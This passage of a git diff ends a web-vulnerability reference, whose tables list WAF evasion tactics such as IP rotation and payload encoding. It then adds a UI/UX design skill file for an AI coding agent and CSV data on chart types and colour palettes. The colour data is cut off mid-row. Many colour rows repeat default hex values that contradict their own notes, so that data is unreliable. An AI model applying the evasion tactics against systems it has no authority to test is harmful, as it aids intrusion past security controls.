adapted to technology stack and architecture +- New vulnerabilities emerge continuously; reference should be updated +- Some vulnerabilities overlap across categories (e.g., IDOR appears in multiple contexts) +- Effectiveness of mitigations depends on proper implementation +- Automated scanners cannot detect all vulnerability types (especially business logic) + +--- + +## Troubleshooting + +### Common Assessment Challenges + +| Challenge | Solution | +|-----------|----------| +| False positives in scanning | Manual verification, contextual analysis | +| Business logic flaws missed | Manual testing, threat modeling, abuse case analysis | +| Encrypted traffic analysis | Proxy configuration, certificate installation | +| WAF blocking tests | Rate adjustment, IP rotation, payload encoding | +| Session handling issues | Cookie management, authentication state tracking | +| API discovery | Swagger/OpenAPI enumeration, traffic analysis | + +### Vulnerability Verification Techniques + +| Vulnerability Type | Verification Approach | +|-------------------|----------------------| +| Injection | Payload testing with encoded variants | +| XSS | Alert boxes, cookie access, DOM inspection | +| CSRF | Cross-origin form submission testing | +| SSRF | Out-of-band DNS/HTTP callbacks | +| XXE | External entity with controlled server | +| Access Control | Horizontal/vertical privilege testing | +| Authentication | Credential rotation, session analysis | + +--- + +## References + +- OWASP Top 10 Web Application Security Risks +- CWE/SANS Top 25 Most Dangerous Software Errors +- OWASP Testing Guide +- OWASP Application Security Verification Standard (ASVS) +- NIST Cybersecurity Framework +- Source: Kumar MS - Top 100 Web Vulnerabilities diff --git a/skills/ui-ux-pro-max/SKILL.md b/skills/ui-ux-pro-max/SKILL.md new file mode 100644 index 00000000..c440d3ff --- /dev/null +++ b/skills/ui-ux-pro-max/SKILL.md @@ -0,0 +1,228 @@ +--- +name: ui-ux-pro-max +description: "UI/UX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 8 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI/UX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient." +--- + +# UI/UX Pro Max - Design Intelligence + +Searchable database of UI styles, color palettes, font pairings, chart types, product recommendations, UX guidelines, and stack-specific best practices. + +## Prerequisites + +Check if Python is installed: + +```bash +python3 --version || python --version +``` + +If Python is not installed, install it based on user's OS: + +**macOS:** +```bash +brew install python3 +``` + +**Ubuntu/Debian:** +```bash +sudo apt update && sudo apt install python3 +``` + +**Windows:** +```powershell +winget install Python.Python.3.12 +``` + +--- + +## How to Use This Skill + +When user requests UI/UX work (design, build, create, implement, review, fix, improve), follow this workflow: + +### Step 1: Analyze User Requirements + +Extract key information from user request: +- **Product type**: SaaS, e-commerce, portfolio, dashboard, landing page, etc. +- **Style keywords**: minimal, playful, professional, elegant, dark mode, etc. +- **Industry**: healthcare, fintech, gaming, education, etc. +- **Stack**: React, Vue, Next.js, or default to `html-tailwind` + +### Step 2: Search Relevant Domains + +Use `search.py` multiple times to gather comprehensive information. Search until you have enough context. + +```bash +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --domain <domain> [-n <max_results>] +``` + +**Recommended search order:** + +1. **Product** - Get style recommendations for product type +2. **Style** - Get detailed style guide (colors, effects, frameworks) +3. **Typography** - Get font pairings with Google Fonts imports +4. **Color** - Get color palette (Primary, Secondary, CTA, Background, Text, Border) +5. **Landing** - Get page structure (if landing page) +6. **Chart** - Get chart recommendations (if dashboard/analytics) +7. **UX** - Get best practices and anti-patterns +8. **Stack** - Get stack-specific guidelines (default: html-tailwind) + +### Step 3: Stack Guidelines (Default: html-tailwind) + +If user doesn't specify a stack, **default to `html-tailwind`**. + +```bash +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --stack html-tailwind +``` + +Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`, `react-native`, `flutter` + +--- + +## Search Reference + +### Available Domains + +| Domain | Use For | Example Keywords | +|--------|---------|------------------| +| `product` | Product type recommendations | SaaS, e-commerce, portfolio, healthcare, beauty, service | +| `style` | UI styles, colors, effects | glassmorphism, minimalism, dark mode, brutalism | +| `typography` | Font pairings, Google Fonts | elegant, playful, professional, modern | +| `color` | Color palettes by product type | saas, ecommerce, healthcare, beauty, fintech, service | +| `landing` | Page structure, CTA strategies | hero, hero-centric, testimonial, pricing, social-proof | +| `chart` | Chart types, library recommendations | trend, comparison, timeline, funnel, pie | +| `ux` | Best practices, anti-patterns | animation, accessibility, z-index, loading | +| `prompt` | AI prompts, CSS keywords | (style name) | + +### Available Stacks + +| Stack | Focus | +|-------|-------| +| `html-tailwind` | Tailwind utilities, responsive, a11y (DEFAULT) | +| `react` | State, hooks, performance, patterns | +| `nextjs` | SSR, routing, images, API routes | +| `vue` | Composition API, Pinia, Vue Router | +| `svelte` | Runes, stores, SvelteKit | +| `swiftui` | Views, State, Navigation, Animation | +| `react-native` | Components, Navigation, Lists | +| `flutter` | Widgets, State, Layout, Theming | + +--- + +## Example Workflow + +**User request:** "Làm landing page cho dịch vụ chăm sóc da chuyên nghiệp" + +**AI should:** + +```bash +# 1. Search product type +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service" --domain product + +# 2. Search style (based on industry: beauty, elegant) +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant minimal soft" --domain style + +# 3. Search typography +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant luxury" --domain typography + +# 4. Search color palette +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness" --domain color + +# 5. Search landing page structure +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "hero-centric social-proof" --domain landing + +# 6. Search UX guidelines +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "animation" --domain ux +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "accessibility" --domain ux + +# 7. Search stack guidelines (default: html-tailwind) +python3 .claude/skills/ui-ux-pro-max/scripts/search.py "layout responsive" --stack html-tailwind +``` + +**Then:** Synthesize all search results and implement the design. + +--- + +## Tips for Better Results + +1. **Be specific with keywords** - "healthcare SaaS dashboard" > "app" +2. **Search multiple times** - Different keywords reveal different insights +3. **Combine domains** - Style + Typography + Color = Complete design system +4. **Always check UX** - Search "animation", "z-index", "accessibility" for common issues +5. **Use stack flag** - Get implementation-specific best practices +6. **Iterate** - If first search doesn't match, try different keywords + +--- + +## Common Rules for Professional UI + +These are frequently overlooked issues that make UI look unprofessional: + +### Icons & Visual Elements + +| Rule | Do | Don't | +|------|----|----- | +| **No emoji icons** | Use SVG icons (Heroicons, Lucide, Simple Icons) | Use emojis like 🎨 🚀 ⚙️ as UI icons | +| **Stable hover states** | Use color/opacity transitions on hover | Use scale transforms that shift layout | +| **Correct brand logos** | Research official SVG from Simple Icons | Guess or use incorrect logo paths | +| **Consistent icon sizing** | Use fixed viewBox (24x24) with w-6 h-6 | Mix different icon sizes randomly | + +### Interaction & Cursor + +| Rule | Do | Don't | +|------|----|----- | +| **Cursor pointer** | Add `cursor-pointer` to all clickable/hoverable cards | Leave default cursor on interactive elements | +| **Hover feedback** | Provide visual feedback (color, shadow, border) | No indication element is interactive | +| **Smooth transitions** | Use `transition-colors duration-200` | Instant state changes or too slow (>500ms) | + +### Light/Dark Mode Contrast + +| Rule | Do | Don't | +|------|----|----- | +| **Glass card light mode** | Use `bg-white/80` or higher opacity | Use `bg-white/10` (too transparent) | +| **Text contrast light** | Use `#0F172A` (slate-900) for text | Use `#94A3B8` (slate-400) for body text | +| **Muted text light** | Use `#475569` (slate-600) minimum | Use gray-400 or lighter | +| **Border visibility** | Use `border-gray-200` in light mode | Use `border-white/10` (invisible) | + +### Layout & Spacing + +| Rule | Do | Don't | +|------|----|----- | +| **Floating navbar** | Add `top-4 left-4 right-4` spacing | Stick navbar to `top-0 left-0 right-0` | +| **Content padding** | Account for fixed navbar height | Let content hide behind fixed elements | +| **Consistent max-width** | Use same `max-w-6xl` or `max-w-7xl` | Mix different container widths | + +--- + +## Pre-Delivery Checklist + +Before delivering UI code, verify these items: + +### Visual Quality +- [ ] No emojis used as icons (use SVG instead) +- [ ] All icons from consistent icon set (Heroicons/Lucide) +- [ ] Brand logos are correct (verified from Simple Icons) +- [ ] Hover states don't cause layout shift +- [ ] Use theme colors directly (bg-primary) not var() wrapper + +### Interaction +- [ ] All clickable elements have `cursor-pointer` +- [ ] Hover states provide clear visual feedback +- [ ] Transitions are smooth (150-300ms) +- [ ] Focus states visible for keyboard navigation + +### Light/Dark Mode +- [ ] Light mode text has sufficient contrast (4.5:1 minimum) +- [ ] Glass/transparent elements visible in light mode +- [ ] Borders visible in both modes +- [ ] Test both modes before delivery + +### Layout +- [ ] Floating elements have proper spacing from edges +- [ ] No content hidden behind fixed navbars +- [ ] Responsive at 320px, 768px, 1024px, 1440px +- [ ] No horizontal scroll on mobile + +### Accessibility +- [ ] All images have alt text +- [ ] Form inputs have labels +- [ ] Color is not the only indicator +- [ ] `prefers-reduced-motion` respected diff --git a/skills/ui-ux-pro-max/data/charts.csv b/skills/ui-ux-pro-max/data/charts.csv new file mode 100644 index 00000000..5cfa805e --- /dev/null +++ b/skills/ui-ux-pro-max/data/charts.csv @@ -0,0 +1,26 @@ +No,Data Type,Keywords,Best Chart Type,Secondary Options,Color Guidance,Performance Impact,Accessibility Notes,Library Recommendation,Interactive Level +1,Trend Over Time,"trend, time-series, line, growth, timeline, progress",Line Chart,"Area Chart, Smooth Area",Primary: #0080FF. Multiple series: use distinct colors. Fill: 20% opacity,⚡ Excellent (optimized),✓ Clear line patterns for colorblind users. Add pattern overlays.,"Chart.js, Recharts, ApexCharts",Hover + Zoom +2,Compare Categories,"compare, categories, bar, comparison, ranking",Bar Chart (Horizontal or Vertical),"Column Chart, Grouped Bar",Each bar: distinct color. Category: grouped same color. Sorted: descending order,⚡ Excellent,✓ Easy to compare. Add value labels on bars for clarity.,"Chart.js, Recharts, D3.js",Hover + Sort +3,Part-to-Whole,"part-to-whole, pie, donut, percentage, proportion, share",Pie Chart or Donut,"Stacked Bar, Treemap",Colors: 5-6 max. Contrasting palette. Large slices first. Use labels.,⚡ Good (limit 6 slices),⚠ Hard for accessibility. Better: Stacked bar with legend. Avoid pie if >5 items.,"Chart.js, Recharts, D3.js",Hover + Drill +4,Correlation/Distribution,"correlation, distribution, scatter, relationship, pattern",Scatter Plot or Bubble Chart,"Heat Map, Matrix",Color axis: gradient (blue-red). Size: relative. Opacity: 0.6-0.8 to show density,⚠ Moderate (many points),⚠ Provide data table alternative. Use pattern + color distinction.,"D3.js, Plotly, Recharts",Hover + Brush +5,Heatmap/Intensity,"heatmap, heat-map, intensity, density, matrix",Heat Map or Choropleth,"Grid Heat Map, Bubble Heat",Gradient: Cool (blue) to Hot (red). Scale: clear legend. Divergent for ±data,⚡ Excellent (color CSS),⚠ Colorblind: Use pattern overlay. Provide numerical legend.,"D3.js, Plotly, ApexCharts",Hover + Zoom +6,Geographic Data,"geographic, map, location, region, geo, spatial","Choropleth Map, Bubble Map",Geographic Heat Map,Regional: single color gradient or categorized colors. Legend: clear scale,⚠ Moderate (rendering),⚠ Include text labels for regions. Provide data table alternative.,"D3.js, Mapbox, Leaflet",Pan + Zoom + Drill +7,Funnel/Flow,funnel/flow,"Funnel Chart, Sankey",Waterfall (for flows),Stages: gradient (starting color → ending color). Show conversion %,⚡ Good,✓ Clear stage labels + percentages. Good for accessibility if labeled.,"D3.js, Recharts, Custom SVG",Hover + Drill +8,Performance vs Target,performance-vs-target,Gauge Chart or Bullet Chart,"Dial, Thermometer",Performance: Red→Yellow→Green gradient. Target: marker line. Threshold colors,⚡ Good,✓ Add numerical value + percentage label beside gauge.,"D3.js, ApexCharts, Custom SVG",Hover +9,Time-Series Forecast,time-series-forecast,Line with Confidence Band,Ribbon Chart,Actual: solid line #0080FF. Forecast: dashed #FF9500. Band: light shading,⚡ Good,✓ Clearly distinguish actual vs forecast. Add legend.,"Chart.js, ApexCharts, Plotly",Hover + Toggle +10,Anomaly Detection,anomaly-detection,Line Chart with Highlights,Scatter with Alert,Normal: blue #0080FF. Anomaly: red #FF0000 circle/square marker + alert,⚡ Good,✓ Circle/marker for anomalies. Add text alert annotation.,"D3.js, Plotly, ApexCharts",Hover + Alert +11,Hierarchical/Nested Data,hierarchical/nested-data,Treemap,"Sunburst, Nested Donut, Icicle",Parent: distinct hues. Children: lighter shades. White borders 2-3px.,⚠ Moderate,⚠ Poor - provide table alternative. Label large areas.,"D3.js, Recharts, ApexCharts",Hover + Drilldown +12,Flow/Process Data,flow/process-data,Sankey Diagram,"Alluvial, Chord Diagram",Gradient from source to target. Opacity 0.4-0.6 for flows.,⚠ Moderate,⚠ Poor - provide flow table alternative.,"D3.js (d3-sankey), Plotly",Hover + Drilldown +13,Cumulative Changes,cumulative-changes,Waterfall Chart,"Stacked Bar, Cascade",Increases: #4CAF50. Decreases: #F44336. Start: #2196F3. End: #0D47A1.,⚡ Good,✓ Good - clear directional colors with labels.,"ApexCharts, Highcharts, Plotly",Hover +14,Multi-Variable Comparison,multi-variable-comparison,Radar/Spider Chart,"Parallel Coordinates, Grouped Bar",Single: #0080FF 20% fill. Multiple: distinct colors per dataset.,⚡ Good,⚠ Moderate - limit 5-8 axes. Add data table.,"Chart.js, Recharts, ApexCharts",Hover + Toggle +15,Stock/Trading OHLC,stock/trading-ohlc,Candlestick Chart,"OHLC Bar, Heikin-Ashi",Bullish: #26A69A. Bearish: #EF5350. Volume: 40% opacity below.,⚡ Good,⚠ Moderate - provide OHLC data table.,"Lightweight Charts (TradingView), ApexCharts",Real-time + Hover + Zoom +16,Relationship/Connection Data,relationship/connection-data,Network Graph,"Hierarchical Tree, Adjacency Matrix",Node types: categorical colors. Edges: #90A4AE 60% opacity.,❌ Poor (500+ nodes struggles),❌ Very Poor - provide adjacency list alternative.,"D3.js (d3-force), Vis.js, Cytoscape.js",Drilldown + Hover + Drag +17,Distribution/Statistical,distribution/statistical,Box Plot,"Violin Plot, Beeswarm",Box: #BBDEFB. Border: #1976D2. Median: #D32F2F. Outliers: #F44336.,⚡ Excellent,"✓ Good - include stats table (min, Q1, median, Q3, max).","Plotly, D3.js, Chart.js (plugin)",Hover +18,Performance vs Target (Compact),performance-vs-target-(compact),Bullet Chart,"Gauge, Progress Bar","Ranges: #FFCDD2, #FFF9C4, #C8E6C9. Performance: #1976D2. Target: black 3px.",⚡ Excellent,✓ Excellent - compact with clear values.,"D3.js, Plotly, Custom SVG",Hover +19,Proportional/Percentage,proportional/percentage,Waffle Chart,"Pictogram, Stacked Bar 100%",10x10 grid. 3-5 categories max. 2-3px spacing between squares.,⚡ Good,✓ Good - better than pie for accessibility.,"D3.js, React-Waffle, Custom CSS Grid",Hover +20,Hierarchical Proportional,hierarchical-proportional,Sunburst Chart,"Treemap, Icicle, Circle Packing",Center to outer: darker to lighter. 15-20% lighter per level.,⚠ Moderate,⚠ Poor - provide hierarchy table alternative.,"D3.js (d3-hierarchy), Recharts, ApexCharts",Drilldown + Hover +21,Root Cause Analysis,"root cause, decomposition, tree, hierarchy, drill-down, ai-split",Decomposition Tree,"Decision Tree, Flow Chart",Nodes: #2563EB (Primary) vs #EF4444 (Negative impact). Connectors: Neutral grey.,⚠ Moderate (calculation heavy),✓ clear hierarchy. Allow keyboard navigation for nodes.,"Power BI (native), React-Flow, Custom D3.js",Drill + Expand +22,3D Spatial Data,"3d, spatial, immersive, terrain, molecular, volumetric",3D Scatter/Surface Plot,"Volumetric Rendering, Point Cloud",Depth cues: lighting/shading. Z-axis: color gradient (cool to warm).,❌ Heavy (WebGL required),❌ Poor - requires alternative 2D view or data table.,"Three.js, Deck.gl, Plotly 3D",Rotate + Zoom + VR +23,Real-Time Streaming,"streaming, real-time, ticker, live, velocity, pulse",Streaming Area Chart,"Ticker Tape, Moving Gauge",Current: Bright Pulse (#00FF00). History: Fading opacity. Grid: Dark.,⚡ Optimized (canvas/webgl),⚠ Flashing elements - provide pause button. High contrast.,Smoothed D3.js, CanvasJS, SciChart,Real-time + Pause +24,Sentiment/Emotion,"sentiment, emotion, nlp, opinion, feeling",Word Cloud with Sentiment,"Sentiment Arc, Radar Chart",Positive: #22C55E. Negative: #EF4444. Neutral: #94A3B8. Size = Frequency.,⚡ Good,⚠ Word clouds poor for screen readers. Use list view.,"D3-cloud, Highcharts, Nivo",Hover + Filter +25,Process Mining,"process, mining, variants, path, bottleneck, log",Process Map / Graph,"Directed Acyclic Graph (DAG), Petri Net",Happy path: #10B981 (Thick). Deviations: #F59E0B (Thin). Bottlenecks: #EF4444.,⚠ Moderate to Heavy,⚠ Complex graphs hard to navigate. Provide path summary.,"React-Flow, Cytoscape.js, Recharts",Drag + Node-Click \ No newline at end of file diff --git a/skills/ui-ux-pro-max/data/colors.csv b/skills/ui-ux-pro-max/data/colors.csv new file mode 100644 index 00000000..77feb8ba --- /dev/null +++ b/skills/ui-ux-pro-max/data/colors.csv @@ -0,0 +1,97 @@ +No,Product Type,Keywords,Primary (Hex),Secondary (Hex),CTA (Hex),Background (Hex),Text (Hex),Border (Hex),Notes +1,SaaS (General),"saas, general",#2563EB,#3B82F6,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust blue + accent contrast +2,Micro SaaS,"micro, saas",#2563EB,#3B82F6,#F97316,#F8FAFC,#1E293B,#E2E8F0,Vibrant primary + white space +3,E-commerce,commerce,#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + success green +4,E-commerce Luxury,"commerce, luxury",#1C1917,#44403C,#CA8A04,#FAFAF9,#0C0A09,#D6D3D1,Premium colors + minimal accent +5,Service Landing Page,"service, landing, page",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + trust colors +6,B2B Service,"b2b, service",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional blue + neutral grey +7,Financial Dashboard,"financial, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark bg + red/green alerts + trust blue +8,Analytics Dashboard,"analytics, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Cool→Hot gradients + neutral grey +9,Healthcare App,"healthcare, app",#0891B2,#22D3EE,#059669,#ECFEFF,#164E63,#A5F3FC,Calm blue + health green + trust +10,Educational App,"educational, app",#4F46E5,#818CF8,#F97316,#EEF2FF,#1E1B4B,#C7D2FE,Playful colors + clear hierarchy +11,Creative Agency,"creative, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Bold primaries + artistic freedom +12,Portfolio/Personal,"portfolio, personal",#18181B,#3F3F46,#2563EB,#FAFAFA,#09090B,#E4E4E7,Brand primary + artistic interpretation +13,Gaming,gaming,#7C3AED,#A78BFA,#F43F5E,#0F0F23,#E2E8F0,#4C1D95,Vibrant + neon + immersive colors +14,Government/Public Service,"government, public, service",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional blue + high contrast +15,Fintech/Crypto,"fintech, crypto",#F59E0B,#FBBF24,#8B5CF6,#0F172A,#F8FAFC,#334155,Dark tech colors + trust + vibrant accents +16,Social Media App,"social, media, app",#2563EB,#60A5FA,#F43F5E,#F8FAFC,#1E293B,#DBEAFE,Vibrant + engagement colors +17,Productivity Tool,"productivity, tool",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clear hierarchy + functional colors +18,Design System/Component Library,"design, system, component, library",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clear hierarchy + code-like structure +19,AI/Chatbot Platform,"chatbot, platform",#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Neutral + AI Purple (#6366F1) +20,NFT/Web3 Platform,"nft, web3, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Neon + Gold (#FFD700) +21,Creator Economy Platform,"creator, economy, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Vibrant + Brand colors +22,Sustainability/ESG Platform,"sustainability, esg, platform",#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Green (#228B22) + Earth tones +23,Remote Work/Collaboration Tool,"remote, work, collaboration, tool",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Blue + Neutral grey +24,Mental Health App,"mental, health, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Pastels + Trust colors +25,Pet Tech App,"pet, tech, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Playful + Warm colors +26,Smart Home/IoT Dashboard,"smart, home, iot, dashboard",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Status indicator colors +27,EV/Charging Ecosystem,"charging, ecosystem",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Electric Blue (#009CD1) + Green +28,Subscription Box Service,"subscription, box, service",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand + Excitement colors +29,Podcast Platform,"podcast, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark + Audio waveform accents +30,Dating App,"dating, app",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm + Romantic (Pink/Red gradients) +31,Micro-Credentials/Badges Platform,"micro, credentials, badges, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust Blue + Gold (#FFD700) +32,Knowledge Base/Documentation,"knowledge, base, documentation",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Clean hierarchy + minimal color +33,Hyperlocal Services,"hyperlocal, services",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Location markers + Trust colors +34,Beauty/Spa/Wellness Service,"beauty, spa, wellness, service",#10B981,#34D399,#8B5CF6,#ECFDF5,#064E3B,#A7F3D0,Soft pastels (Pink #FFB6C1 Sage #90EE90) + Cream + Gold accents +35,Luxury/Premium Brand,"luxury, premium, brand",#1C1917,#44403C,#CA8A04,#FAFAF9,#0C0A09,#D6D3D1,Black + Gold (#FFD700) + White + Minimal accent +36,Restaurant/Food Service,"restaurant, food, service",#DC2626,#F87171,#CA8A04,#FEF2F2,#450A0A,#FECACA,Warm colors (Orange Red Brown) + appetizing imagery +37,Fitness/Gym App,"fitness, gym, app",#DC2626,#F87171,#16A34A,#FEF2F2,#1F2937,#FECACA,Energetic (Orange #FF6B35 Electric Blue) + Dark bg +38,Real Estate/Property,"real, estate, property",#0F766E,#14B8A6,#0369A1,#F0FDFA,#134E4A,#99F6E4,Trust Blue (#0077B6) + Gold accents + White +39,Travel/Tourism Agency,"travel, tourism, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Vibrant destination colors + Sky Blue + Warm accents +40,Hotel/Hospitality,"hotel, hospitality",#1E3A8A,#3B82F6,#CA8A04,#F8FAFC,#1E40AF,#BFDBFE,Warm neutrals + Gold (#D4AF37) + Brand accent +41,Wedding/Event Planning,"wedding, event, planning",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Soft Pink (#FFD6E0) + Gold + Cream + Sage +42,Legal Services,"legal, services",#1E3A8A,#1E40AF,#B45309,#F8FAFC,#0F172A,#CBD5E1,Navy Blue (#1E3A5F) + Gold + White +43,Insurance Platform,"insurance, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust Blue (#0066CC) + Green (security) + Neutral +44,Banking/Traditional Finance,"banking, traditional, finance",#0F766E,#14B8A6,#0369A1,#F0FDFA,#134E4A,#99F6E4,Navy (#0A1628) + Trust Blue + Gold accents +45,Online Course/E-learning,"online, course, learning",#0D9488,#2DD4BF,#EA580C,#F0FDFA,#134E4A,#5EEAD4,Vibrant learning colors + Progress green +46,Non-profit/Charity,"non, profit, charity",#0891B2,#22D3EE,#F97316,#ECFEFF,#164E63,#A5F3FC,Cause-related colors + Trust + Warm +47,Music Streaming,"music, streaming",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark (#121212) + Vibrant accents + Album art colors +48,Video Streaming/OTT,"video, streaming, ott",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Dark bg + Content poster colors + Brand accent +49,Job Board/Recruitment,"job, board, recruitment",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Success Green + Neutral +50,Marketplace (P2P),"marketplace, p2p",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Trust colors + Category colors + Success green +51,Logistics/Delivery,"logistics, delivery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Blue (#2563EB) + Orange (tracking) + Green (delivered) +52,Agriculture/Farm Tech,"agriculture, farm, tech",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Earth Green (#4A7C23) + Brown + Sky Blue +53,Construction/Architecture,"construction, architecture",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue +54,Automotive/Car Dealership,"automotive, car, dealership",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand colors + Metallic accents + Dark/Light +55,Photography Studio,"photography, studio",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Black + White + Minimal accent +56,Coworking Space,"coworking, space",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Energetic colors + Wood tones + Brand accent +57,Cleaning Service,"cleaning, service",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Fresh Blue (#00B4D8) + Clean White + Green +58,Home Services (Plumber/Electrician),"home, services, plumber, electrician",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Trust Blue + Safety Orange + Professional grey +59,Childcare/Daycare,"childcare, daycare",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Playful pastels + Safe colors + Warm accents +60,Senior Care/Elderly,"senior, care, elderly",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Calm Blue + Warm neutrals + Large text +61,Medical Clinic,"medical, clinic",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Medical Blue (#0077B6) + Trust White + Calm Green +62,Pharmacy/Drug Store,"pharmacy, drug, store",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Pharmacy Green + Trust Blue + Clean White +63,Dental Practice,"dental, practice",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Fresh Blue + White + Smile Yellow accent +64,Veterinary Clinic,"veterinary, clinic",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Caring Blue + Pet-friendly colors + Warm accents +65,Florist/Plant Shop,"florist, plant, shop",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Natural Green + Floral pinks/purples + Earth tones +66,Bakery/Cafe,"bakery, cafe",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm Brown + Cream + Appetizing accents +67,Coffee Shop,"coffee, shop",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Coffee Brown (#6F4E37) + Cream + Warm accents +68,Brewery/Winery,"brewery, winery",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Deep amber/burgundy + Gold + Craft aesthetic +69,Airline,airline,#7C3AED,#A78BFA,#06B6D4,#FAF5FF,#1E1B4B,#DDD6FE,Sky Blue + Brand colors + Trust accents +70,News/Media Platform,"news, media, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand colors + High contrast + Category colors +71,Magazine/Blog,"magazine, blog",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Editorial colors + Brand primary + Clean white +72,Freelancer Platform,"freelancer, platform",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Success Green + Neutral +73,Consulting Firm,"consulting, firm",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Navy + Gold + Professional grey +74,Marketing Agency,"marketing, agency",#EC4899,#F472B6,#06B6D4,#FDF2F8,#831843,#FBCFE8,Bold brand colors + Creative freedom +75,Event Management,"event, management",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Event theme colors + Excitement accents +76,Conference/Webinar Platform,"conference, webinar, platform",#0F172A,#334155,#0369A1,#F8FAFC,#020617,#E2E8F0,Professional Blue + Video accent + Brand +77,Membership/Community,"membership, community",#7C3AED,#A78BFA,#F97316,#FAF5FF,#4C1D95,#DDD6FE,Community brand colors + Engagement accents +78,Newsletter Platform,"newsletter, platform",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Brand primary + Clean white + CTA accent +79,Digital Products/Downloads,"digital, products, downloads",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Product category colors + Brand + Success green +80,Church/Religious Organization,"church, religious, organization",#3B82F6,#60A5FA,#F97316,#F8FAFC,#1E293B,#E2E8F0,Warm Gold + Deep 